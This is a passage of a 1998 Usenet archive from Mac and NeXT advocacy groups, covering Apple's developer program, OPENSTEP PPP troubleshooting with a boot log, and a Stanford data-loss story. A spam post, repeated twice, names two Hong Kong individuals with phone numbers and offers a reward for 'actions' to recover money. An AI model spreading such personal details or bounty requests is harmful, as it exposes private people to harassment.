%2.6 it had last quarter to a number LARGER than what it had the same
quarter last year.
Message-ID: <35326E78.7B0B@post.guernsey.net>
Date: Mon, 13 Apr 1998 20:58:48 +0100
From: "S. Hulme" <hulme@post.guernsey.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
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From: mmp5@axe.humboldt.edu
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: Mon, 13 Apr 1998 14:56:19 -0600
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6gtql3$qv4$1@nnrp1.dejanews.com>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <trev-0904981206050001@nas-sa-p5.usc.net> <352d5190.286081406@news.sunflower.com> <joe.ragosta-0904981940420001@elk64.dol.net> <edremy-ya02408000R0904981710030001@nnrp.usc.edu> <Josh.McKee-1004982152020001@pm3a12.rmac.net> <6goebb$i9s$1@usenet11.supernews.com> <see-below-1104981441220001@209.24.242.18>
In article <see-below-
1104981441220001@209.24.242.18>,
see-below@not-my-address.com (Matthew
Vaughan) wrote:
>
<s>
> > >
> > >> The sysadmins didn't verify that their backup was good, then
> > overwrote the
> > >> good data with the bad.
> > >
> > >What makes me wonder is why they had to restore from backup to begin
> > >with. Why does moving two servers cause them to become unusable?
>
> I think they were actually upgrading to larger hard drives, so they were
> transferring data to new drives, not just moving the machines.
"Spence said the school hired an outside
contractor to move the two servers from the
business school to Stanford's central computer
center."
Sounds like the core of the problem to me,
probably the lowest bidder, coupla jokers who
'knew all about NTS'. _And_ they let them add
new drives, and they let them 'back-up' the
data. One hopes that if they had Stanford's own
IS dept. handle the job, it would not have 'gang
awry'. Seems the lesson is don't hire 'outside
contractors' to handle critical systems, despite
claims like ZAM and 'ease of use' NTS is a
cranky bear to use, and should be treated with
respect and caution.
> > Actually, the article didn't even say that the servers were
> > Windows machines. A number of platforms could have been
> > serving those files. Windows users were affected because
> > the clients for those servers ran Windows.
"And many of the faculty and students were
shielded from disaster because they used Apple
computers or Unix mainframes -- rather than
the Windows-based PC's served by the
business school network."
Hmm, it really sounds like NT Server to me. I
mean why were'nt the Unix and Macs served by
it? Of course you can easily use Services for
Macintosh to to file share/store on an NT
server, but it seems that this SA's in question
chose not to. If the servers weren't Mac,
were'nt NT not UNIX, what does that leave?
Novell?
If NT or Netware
> > had been serving the files for the Mac clients and Stanford
> > issued a press statement saying "Sorry, but our Mac users
> > might have lost a lot of their data," would you be hooping
> > and hollering about Mac problems?
I'd agree that it is really more of a centralized
storage (ie NetPC) type of problem, as well as
the attitude that 'easy' network systems like
NT can be set up and maintained by amateurs.
Just wait for more stories like this as ZAM's
and Network PC's popularity rises. And get
more Zips.;-)
Michael
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Europe vs. the US
Date: 13 Apr 98 13:09:38 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B157BF25-96EA9@207.217.155.51>
References: <gmgraves-1304981110530001@sf-usr1-44-172.dialup.slip.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.earthlink.net/comp.sys.next.advocacy
Someone wrote:
>Don't need any of this "Europe is better than the USA" crap.
>Were it not for the US' Marshall Plan, you Europeans would
>still be crawling around in rubble looking for something to
>eat!
Here is a fun and totally meaningless comparison of Europe vs. the US.
Compare eDOC to Adobe Acrobat. You can get eDOC for about $25 shareware
from:
http://perso.wanadoo.fr/michel.touchot/edoc-eng.html
You can get Acrobat Distiller for some ungodly price through your favorite
online Mac storefront.
Developers... If x-platform documentation isn't an issue, which would you
rather use to develop online manuals? Hint: eDOC.
Users... If you had an old PowerBook 190 or a Mac Plus on your desk for the
purpose of reading documentation for whatever project you're working on,
which would you prefer the documentation were prepared with? Hint: eDOC.
Looks to me like a case where Europe kicked our butts. ;-)
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Bookmarks. Tried it? Then buy
it! Point your Cyberdog to the Hutchings Software web site.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Message-ID: <1998041320154401.QAA28472@ladder01.news.aol.com>
Date: 13 Apr 1998 20:15:44 GMT
Organization: AOL http://www.aol.com
References: <6gtdfi$a4c$1@ha2.rdc1.sdca.home.com>
Just to clarify the matter for those who are not familiar with Asiatic scripts,
Hangul is the syllabry used for native Korean, developed several hundred years
ago by their King Sejong. It's used in South Korea as a grouped set of phonetic
elements to make up a single syllable/glyph, but in North Korea is strung out,
one character after the next.
Han/Hanzi/Hanja/Kanji are the ideograms which one normally thinks of in terms
of "Chinese characters" and are frequently interspersed with Hangul and other
phonetic Asian scripts.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: steve@discoverysoft.com (Steven Fisher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 13 Apr 1998 13:25:10 -0700
Organization: Discovery Software Ltd.
Message-ID: <steve-1304981325100001@oranoco.discoverysoft.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu> <6gi8o4$oop$9@ironhorse.plsys.co.uk> <steve-0904981201500001@oranoco.discoverysoft.com> <6gloaj$oop$15@ironhorse.plsys.co.uk>
In article <6gloaj$oop$15@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
>NOTE: FOLLOWUPS TO COMP.SYS.MAC.ADVOCACY,COMP.SYS.NEXT.ADVOCACY
>
>In <steve-0904981201500001@oranoco.discoverysoft.com> Steven Fisher wrote:
>> I would think this extends to shareware as well.
>>
>> Would Default Folder have been able to support MacOS 8 as it shipped if
>> Jon Gotow hadn't had acess to betas of MacOS 8?
>>
>> Would Kaleidoscope have supported MacOS 8 and MacOS 8 interface elements
>> immediately if Greg Landweber hadn't had acess to betas of MacOS 8?
>>
>> Don't you feel better knowing that the freeware and shareware software you
>> use is being tested long before the next MacOS is actually released?
>>
>No. I'm used to using an operating system where stuff doesn't break simply
>because a new version is released.
That's just my point. Kaleidoscope and Default Folder *DID* break.
Appearance made a royal mess out of Kaleidoscope. The Finder's internal,
undocumented data structures changed and Default Folder couldn't do its
thing anymore. Most people didn't notice because by the time 8.0 was
actually shipped there had been three or four updates of each that did
work with 8.0 that offered enhancements that were not specific to 8.0.
--
Steven Fisher; Discovery Software Ltd.; steve@discoverysoft.com
"Anyone who has never made a mistake has never tried anything new."
-- Albert Einstein
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.programmer
Subject: Re: first day with OS
Date: Mon, 13 Apr 1998 14:06:10 -0700
Message-ID: <see-below-1304981406110001@209.24.241.220>
References: <01bc462d$87ca8380$40f0bfa8@davidsul> <35311826.7AD7@www.web>
In article <35311826.7AD7@www.web>, Web Surfer <surfer@www.web> wrote:
> What OS is that? OS/2? The old NeXT OS? What?
The latter.
>
> NeXT Newbie wrote:
> >
> > Some impressions of OS 4.2
> > 1) This OS sure was designed for big monitors! I have a 17 inch and it
> > seems to small. Seems like you would want at least a 20 inch monitor
> > 2) The mouse really annoys me. It reminds me of when I first used windows
> > 3.1, I was like god I hate how jerky the mousee is. The mouse movement in
> > OS 4.2 seems like how it was in windows 3.1, windows 95 definitely seems
> > much better.
> > 3) How do you connect to the internet with ppp?
> > 4) once I get up and going with ppp, what do I use for usenet?
> > 5) where is the option to change the monitors resolution and bits of color?
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 13 Apr 1998 21:27:11 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6gtvvf$ph8@newsb.netnews.att.com>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <hy5Y.828$ME2.4337233@news.itd.umich.edu> <35326121.287@convex.com>
Originator: gupta@tlctest
Michael Peck <ECK@CONVEX.COM> wrote:
>
>The truth of the matter is that technology is the great leveler. The
>market rewards companies which can provide desirable services at the
>lowest cost and with the most appealing delivery.
About the "great leveler", technology, another point of view :
"our myopic focus on the government as the sole source of regulation
blinds us to more serious dangers. In the world of possible regulators,
Lessig argues, "government is one, social norms are another,
the market is another, but in cyberspace the code is another.
The architecture of cyberspace is itself a regulator."
http://www.feedmag.com/html/feedline/98.04marshall/98.04marshall_master.html
This places the Microsoft issue in a very different perspective,
and informs why it is not safe to rely on either the marketplace
and/or technological advances.
-arun gupta
Message-ID: <35327A6F.5206446A@adr.dk>
Date: Mon, 13 Apr 1998 22:47:07 +0200
From: Jens Bauer <faster@adr.dk>
Organization: Faster Software
MIME-Version: 1.0
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
References: <6go69q$8l1$3@hecate.umd.edu> <352FD2BF.50693172@adr.dk> <tim-1204981459310001@jump-k56flex-0101.jumpnet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Tim Olson wrote:
> | So where do we suddenly loose 3.4 nS ? I couldn't get this to match.
> Tac, the access time for data is 9ns, meaning that the new data is
> available at the memory pins 9ns into the cycle, leaving 1ns remaining in
> the cycle. The data is held for 3ns after the rising edge of the next
> clock, for a 4ns availability window.
{snip}
This clears up everything. Thanx Tim!
From: spagiola@usa.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.programmer
Subject: Re: first day with OS
Date: Mon, 13 Apr 1998 16:49:51 -0600
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6gu19v$7e3$1@nnrp1.dejanews.com>
References: <01bc462d$87ca8380$40f0bfa8@davidsul> <35311826.7AD7@www.web>
Web Surfer <surfer@www.web> wrote:
> NeXT Newbie wrote:
> > Some impressions of OS 4.2 [snip]
> What OS is that? OS/2? The old NeXT OS? What?
In this newsgroup, it's safe to assume OS = OPENSTEP, especially when followed
by version number 4.2.
But you're right, it can be confusing with OS as a general term.
Stefano Pagiola
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: support@itconsult.net
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Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <35326E78.7B0B@post.guernsey.net>
Date: Mon, 13 Apr 1998 21:50:15 GMT
Sender: hulme@post.guernsey.net
Organization: I. T. Consultancy Limited, Jersey
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From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Mon, 13 Apr 1998 15:00:06 -0700
Organization: Trilithon Research and Trading
Message-ID: <35328AE6.22B95100@trilithon.com>
References: <6gtdfi$a4c$1@ha2.rdc1.sdca.home.com> <1998041320154401.QAA28472@ladder01.news.aol.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
WillAdams wrote:
* Just to clarify the matter for those who are not familiar
* with Asiatic scripts, Hangul is the syllabry used for native
* Korean, developed several hundred years ago by their King
* Sejong. It's used in South Korea as a grouped set of phonetic
* elements to make up a single syllable/glyph, but in North Korea
* is strung out, one character after the next.
See, that's what they get for not having tri-glyph support.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.sysadmin
Subject: help with ppp/chat
Date: 13 Apr 1998 23:11:15 GMT
Message-ID: <01bd6730$b38a0520$23f0bfa8@davidsul>
I need help with OPENSTEP 4.2 and ppp. First of all, I printed out the ppp
docs, and the first thing it says to do is modify the kern_loader.conf,
reboot, and check messages to make sure that "PPP-2.2 LKS was successfully
loaded". THeir is no such message (bellow is a repaste of the messages
file).
I also need help with the chat file, I did a search in the finder and their
is no chat file. Could someone please send me a chat file for ppp to give
me some guidance? Also a ip-up and ip-down file would be helpful.
Also, I need help with the next0 boot. it says to press d for dos, but
pressing d or w does nothing, the only way to get into windows is to type
the number the windows partition is on.
Here is the messages:
Apr 12 16:30:55 myhost mach: NeXT Mach 4.2: Wed Apr 16 13:44:57 PDT 1997;
root(rcbuilder):Objects/mk-183.34.obj~2/RELEASE_I386
Apr 12 16:30:55 myhost mach: physical memory = 64.00 megabytes.
Apr 12 16:30:55 myhost mach: using 163 buffers containing 1.27 megabytes of
memory
Apr 12 16:30:55 myhost mach: available memory = 59.53 megabytes.
vm_page_free_count = 1dc4
Apr 12 16:30:55 myhost mach: PCI Ver=2.10 BusCount=1 Features=[ BIOS16 CM1
SC1 ]
Apr 12 16:30:55 myhost mach: Found PCI 2.0 device: ID=0x71008086 at Dev=0
Func=0 Bus=0
Apr 12 16:30:55 myhost mach: Found PCI 2.0 device: ID=0x71108086 at Dev=7
Func=0 Bus=0
Apr 12 16:30:55 myhost mach: Found PCI 2.0 device: ID=0x71118086 at Dev=7
Func=1 Bus=0
Apr 12 16:30:55 myhost mach: Found PCI 2.1 device: ID=0x97501023/0x97501023
at Dev=9 Func=0 Bus=0
Apr 12 16:30:55 myhost mach: Found PCI 2.1 device: ID=0x50001274/0x4c4c4942
at Dev=11 Func=0 Bus=0
Apr 12 16:30:55 myhost mach: PCI bus support enabled
Apr 12 16:30:55 myhost mach: PnP: Plug and Play support enabled
Apr 12 16:30:55 myhost mach: PnP: Plug and Play BIOS present
Apr 12 16:30:55 myhost mach: PnP: read port 0x3e3, max csn 0
Apr 12 16:30:55 myhost mach: ISA/EISA bus support enabled
Apr 12 16:30:55 myhost mach: ISA bus
Apr 12 16:30:55 myhost mach: DriverKit version 420
Apr 12 16:30:55 myhost mach: hc0: device detected at port 0x1f0 irq 14
Apr 12 16:30:55 myhost mach: hc0: Checking for ATA drive 0... Detected
Apr 12 16:30:55 myhost mach: hc0: Checking for ATA drive 1...
Apr 12 16:30:55 myhost mach: hc0: Checking for ATAPI device 1... Detected
Apr 12 16:30:55 myhost mach: hc0: Resetting drives..
Apr 12 16:30:55 myhost mach: hc0: Device 1: ATAPI CD-ROM (FAST DRQ,
REMOVABLE, CMD PKT LEN=12)
Apr 12 16:30:55 myhost mach: hc0: LBA supported.
Apr 12 16:30:55 myhost mach: hc0: IORDY supported.
Apr 12 16:30:55 myhost mach: Registering: hc0
Apr 12 16:30:55 myhost mach: hd0: WDC AC34300L 10.08M11
Apr 12 16:30:55 myhost mach: hd0: 8896 cylinders, 15 heads, 63 spt (disk
geometry)
Apr 12 16:30:55 myhost mach: hd0: using multisector (16) transfers.
Apr 12 16:30:55 myhost mach: Registering: hd0
Apr 12 16:30:55 myhost mach: hd0: Device Block Size: 512 bytes
Apr 12 16:30:55 myhost mach: hd0: Device Capacity: 4104 MB
Apr 12 16:30:55 myhost mach: hd0: Disk Label: Disk
Apr 12 16:30:55 myhost mach: IDEDisk: disk 1 is ATAPI
Apr 12 16:30:55 myhost mach: Registering: sc0
Apr 12 16:30:55 myhost mach: sd0: MATSHITA CD-ROM CR-585 ZS18
Apr 12 16:30:55 myhost mach: Registering: sd0 at Target 1 LUN 0 at sc0
Apr 12 16:30:55 myhost mach: sd0: Waiting for drive to come
ready..............
Apr 12 16:30:55 myhost mach: sd0: Disk Not Ready
Apr 12 16:30:55 myhost mach: Registering: sg0 at sc0
Apr 12 16:30:55 myhost mach: Registering: sg1 at sc0
Apr 12 16:30:55 myhost mach: Registering: sg2 at sc0
Apr 12 16:30:55 myhost mach: Registering: sg3 at sc0
Apr 12 16:30:55 myhost mach: Registering: ISASerialPort0
Apr 12 16:30:55 myhost mach: ISASerialPort0: Base=0x03f8, IRQ=4,
Type=16550AF/C/CF, FIFO=16
Apr 12 16:30:55 myhost mach: Registering: ISASerialPort1
Apr 12 16:30:55 myhost mach: ISASerialPort1: Base=0x02f8, IRQ=3,
Type=16550AF/C/CF, FIFO=16
Apr 12 16:30:55 myhost mach: Registering: fc0
Apr 12 16:30:55 myhost mach: Registering: fd0
Apr 12 16:30:55 myhost mach: Registering: PS2Controller
Apr 12 16:30:55 myhost mach: Registering: PCKeyboard0
Apr 12 16:30:55 myhost mach: Registering: PCMCIA0
Apr 12 16:30:55 myhost mach: PCI bus support enabled
Apr 12 16:30:55 myhost mach: Registering: PCI0
Apr 12 16:30:55 myhost mach: Registering: EISA0
Apr 12 16:30:55 myhost mach: AIC 6X60 Driver -- Version 3.2.3
Apr 12 16:30:55 myhost mach: AIC6X60: Not using DMA
Apr 12 16:30:55 myhost mach: AIC6X60: controller at irq 11
Apr 12 16:30:55 myhost mach: Resetting SCSI Bus...
Apr 12 16:30:55 myhost mach: Registering: sc1
Apr 12 16:30:55 myhost mach: Registering: event0
Apr 12 16:30:55 myhost mach: Registering: kmDevice0
Apr 12 16:30:55 myhost mach: rootdev 300, howto 0
Apr 12 16:30:55 myhost mach: Power management is enabled.
Apr 12 16:30:55 myhost mach: Installing interfaces:
Apr 12 16:30:55 myhost mach: Registering: ppp0
Apr 12 16:30:55 myhost mach: Registering: ppp1
Apr 12 16:30:55 myhost mach: SerialPointingDevice: Detected mouse type W3
on serial port ISASerialPort0.
Apr 12 16:30:55 myhost mach: Registering: SerialPointingDevice
Apr 12 16:30:55 myhost mach: Registering: pp0
Apr 12 16:30:55 myhost mach: ES1x88AudioDriver: Hardware not detected at
port 0x220.
Apr 12 16:30:55 myhost mach: TridentGenericDisplayDriver: Trident PCI
adapter not found
Apr 12 16:30:55 myhost mach: VGADisplay: Mode Selected: 640 x 480 @ 60 Hz
(BW:2)
Apr 12 16:30:55 myhost mach: Registering: VGADisplay0
Apr 12 16:31:04 myhost reboot: Reboot complete
Apr 12 16:31:10 myhost loginwindow[193]: bootstrap_register failed - -102
Apr 12 16:31:10 myhost loginwindow[193]: bootstrap_register failed - -102
Apr 12 16:31:12 myhost loginwindow[193]: Checking for DOS partitioned disk
Apr 12 16:47:02 myhost loginwindow[193]: bootstrap_register failed - -102
Apr 12 16:47:02 myhost loginwindow[193]: bootstrap_register failed - -102
Apr 12 16:47:03 myhost loginwindow[197]: netname look up success: NeXT 4.0
Pasteboard Server (1)
Apr 12 16:47:04 myhost loginwindow[197]: running
/usr/lib/NextStep/Workspace.app/Workspace
Apr 12 16:47:04 myhost Workspace[197]: logged in
Apr 12 16:47:06 myhost mach: DOS File System: Initialized
From: <ItalianBoy@Italy.com>
Newsgroups: comp.sys.next.advocacy
Subject: $600$ OFFER $600$ REWARD-OFFER $600$ REWARD-OFFER$600$.. REWARD-
Date: 13 Apr 1998 22:14:09 GMT
Organization: Customer of Flashnet S.p.A. - http://www.flashnet.it
Message-ID: <6gu2nh$bo0$8964@news.flashnet.it>
I'M CURRENTLY LOOKING FOR THESE 2 HONG KONG CITIZENS:
------------------------------------------------------------------------------
KULRAO RATHOUR
TEL 00852/5702170-----FAX 00852/8878627
-------------------------------------------------------------------------------
SO TAK ON
POSSIBLE PHONES NUMS:
23480445 SOU MOU PING KOWLOON
23647531 HO MANTINI KOWLOON
24570679 TUEN MUN NEW TERRITORIES
--------------------------------------------------------------------------------------------
OFFERING REWARD----------->600 US$<----------- FOR ANYONE GIVES INFORMATIONS AND
ACTIONS LEADING TO HAVE BACK A CERTAIN AMMOUNT OF MONEY EMAIL IF YOU CAN
HELP US:
amonici@hotmail.com
From: <ItalianBoy@Italy.com>
Newsgroups: comp.sys.next.advocacy
Subject: $600$ OFFER $600$ REWARD-OFFER $600$ REWARD-OFFER$600$.. REWARD-
Date: 13 Apr 1998 22:14:09 GMT
Organization: Customer of Flashnet S.p.A. - http://www.flashnet.it
Message-ID: <6gu2nh$bo0$8965@news.flashnet.it>
I'M CURRENTLY LOOKING FOR THESE 2 HONG KONG CITIZENS:
------------------------------------------------------------------------------
KULRAO RATHOUR
TEL 00852/5702170-----FAX 00852/8878627
-------------------------------------------------------------------------------
SO TAK ON
POSSIBLE PHONES NUMS:
23480445 SOU MOU PING KOWLOON
23647531 HO MANTINI KOWLOON
24570679 TUEN MUN NEW TERRITORIES
--------------------------------------------------------------------------------------------
OFFERING REWARD----------->600 US$<----------- FOR ANYONE GIVES INFORMATIONS AND
ACTIONS LEADING TO HAVE BACK A CERTAIN AMMOUNT OF MONEY EMAIL IF YOU CAN
HELP US:
amonici@hotmail.com
From: bl003@dial.oleane.com (Benoit Leraillez)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 13 Apr 1998 20:00:49 +0200
Organization: Guest of OLEANE
Message-ID: <1d7fwer.1p9ynrf1jt2667N@dialup-96.def.oleane.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <6ggiu7$auu$1@vixen.cso.uiuc.edu> <352c857a.2678525846@news.u-psud.fr> <joe.ragosta-0904980645050001@elk33.dol.net> <6giria$nng$1@ifaedi.insa-lyon.fr> <6gql7a$oop$25@ironhorse.plsys.co.uk> <1d7e4y4.tc8jk63rsdbcN@dialup-157.def.oleane.com> <6gsokk$oop$32@ironhorse.plsys.co.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> >
> > > Umm, in which case what's wrong with the Developer Mailing? Which is $50
> > > *cheaper* than the old program?
> >
> > No seeds.
> >
> I was asking "Bluedays"...
An answer is an answer ;-)
Benoît Leraillez
From: bl003@dial.oleane.com (Benoit Leraillez)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Mon, 13 Apr 1998 20:00:52 +0200
Organization: Guest of OLEANE
Message-ID: <1d7fwrb.t2p83i1fjkkdtN@dialup-96.def.oleane.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ylaporte-0804982005030001@139.103.176.79> <6gh9cm$oop$7@ironhorse.plsys.co.uk> <joe.ragosta-0904980643360001@elk33.dol.net> <1d7efs4.14d33ptutamabN@ppgutkneco.lirmm.fr>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Olivier Gutknecht <gutkneco+news@lirmm.fr> wrote:
> Another problem about the forthcoming (?) edu programs is about non-US
> educational/research communities. I hope that worldwide educational
> institutions will be able to enroll. Given the current status of
> European Developer Relations, I am a little bit dubious.
Espaecially when their recommendation is to develop for Windows :-(
Benoît Leraillez
PS This is unfortunatly true, it happened to one of my partners.
From: bl003@dial.oleane.com (Benoit Leraillez)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 13 Apr 1998 20:00:51 +0200
Organization: Guest of OLEANE
Message-ID: <1d7fwph.1fsx8qz16236ydN@dialup-96.def.oleane.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6ge6hh$9mv@netaxs.com> <352BA869.4901@home.sleeping> <6gqmki$oop$31@ironhorse.plsys.co.uk> <1d7e518.1pgu5461j6wps0N@dialup-157.def.oleane.com> <6gsosb$oop$34@ironhorse.plsys.co.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > No seeds.
> >
> OK, so waht do you need seeds for?
Why do you need SDK for?
Benoît Leraillez
From: bl003@dial.oleane.com (Benoit Leraillez)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 13 Apr 1998 20:00:50 +0200
Organization: Guest of OLEANE
Message-ID: <1d7fwj6.1l5m3at1a32zk8N@dialup-96.def.oleane.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul> <6gh8v1$oop$6@ironhorse.plsys.co.uk> <trumbull-0904980039090001@net44-223.student.yale.edu> <6gio5m$oop$11@ironhorse.plsys.co.uk> <ericb-0904981637520001@132.236.171.104> <6gjgm5$bfj$1@news01.deltanet.com> <6glos8$oop$17@ironhorse.plsys.co.uk> <1d7efim.1i8t00812ucbmsN@ppgutkneco.lirmm.fr>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Olivier Gutknecht <gutkneco+news@lirmm.fr> wrote:
> > Apple has not been cashing anyone's checks on new enrollments or renewals
> > for over six months. Everyone who has had to renew or join the program in
> > the last six months has gotten it gratias.
>
> Definitively false. Apple cashed my renewal three weeks ago.
FYI mmalcom:
As a current member of one of our Apple Developer programs, you will be
transitioned into a new program for the duration of your current
membership, please see below for your membership renewal date and
summary
of other details.
========================================================
Customer Service Number: XXXXXXXXXXXX
Company: BCDL
Current membership: Macintosh ASSOCIATE
New membership level: SELECT
Renewal Date for new membership (dd/mm/yy): 31/03/99
========================================================
*** THIS TRANSITION IS EFFECTIVE IMMEDIATELY AT NO ADDITIONAL CHARGE ***
As of April fools I'm a select member.
Benoît Leraillez
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 13 Apr 1998 18:12:51 -0500
Organization: CE Software
Message-ID: <MPG.f9c57eda3afeb59898a7@news.supernews.com>
References: <joe.ragosta-0804982109560001@elk62.dol.net> <B151824F-7635E@207.217.155.14> <6glpam$oop$18@ironhorse.plsys.co.uk> <joe.ragosta-1304980843340001@wil89.dol.net> <MPG.f9b348c11b899b49898a4@news.supernews.com> <joe.ragosta-1304981024520001@wil45.dol.net>
In article <joe.ragosta-1304981024520001@wil45.dol.net>,
joe.ragosta@dol.net says...
> Too bad you haven't read my posts.
>
> I've criticized Apple publicly for:
>
> Cancelling Newton before they have a replacement ready.
> Dropping PowerBooks from the price list before the replacement is ready.
> Many, many, many marketing decisions.
> Not making Jobs commit publicly to the CEO job or step aside to let
> someone else do it.
> And others.
>
> Apparently, unless I'm criticizing Apple _constantly_, you and Lawson seem
> to think I'm incapable of it.
>
I'm picking and choosing what I read in csma (too many messages, too
little time) and I don't recall reading them. I'll take you at your
word, and withdraw my objection.
Donald
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 13 Apr 1998 20:21:04 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1304982021040001@132.236.171.104>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu> <6giu6s$6j$5@anvil.BLaCKSMITH.com> <ericb-0904981644570001@132.236.171.104> <6gloht$oop$16@ironhorse.plsys.co.uk>
In article <6gloht$oop$16@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> For heaven's sake; they haven't decided how much they're going to charge
> *anyone* yet.
I'm talking about access to DR1/DR2/etc., not CR1.
> > I am not at all optimistic.
> >
> Whinge whinge whinge. Sheesh, I hope I had a better attitude when I was an
> academic.
There is no official statement from Apple that it will offer a good
educational developer platform. Just rumors that pop up all over the
place, mentioned by many people in this thread and even by columnists like
Don Crabb. Given how Apple loves to break official promises, I can hardly
be optimistic about an unofficial promise.
Call it whining if you like, but my beef here is just as much with people
like you who are trying to reassure me with old rumors as it is with
Apple.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 13 Apr 1998 20:24:42 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1304982024420001@132.236.171.104>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <1d7amvt.xk9qhj1mobulqN@dialup-202.def.oleane.com> <6gm9o0$evt$1@crib.bevc.blacksburg.va.us> <MPG.f98a80060b89b0798989f@news.supernews.com> <6goedv$giu$1@crib.bevc.blacksburg.va.us> <edremy-ya02408000R1104981330150001@nnrp.usc.edu> <352FEF40.5E4B@earthlink.net>
In article <352FEF40.5E4B@earthlink.net>, skellener@earthlink.net wrote:
> Ahhh, but NeXT/Openstep already exists. It is just being modified to
> become Rhapsody. It will come out. Believe it.
MacOS 7.5 already exists. It just had to be modified to become Copland.
So where is Copland?
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: tzs@halcyon.com (Tim Smith)
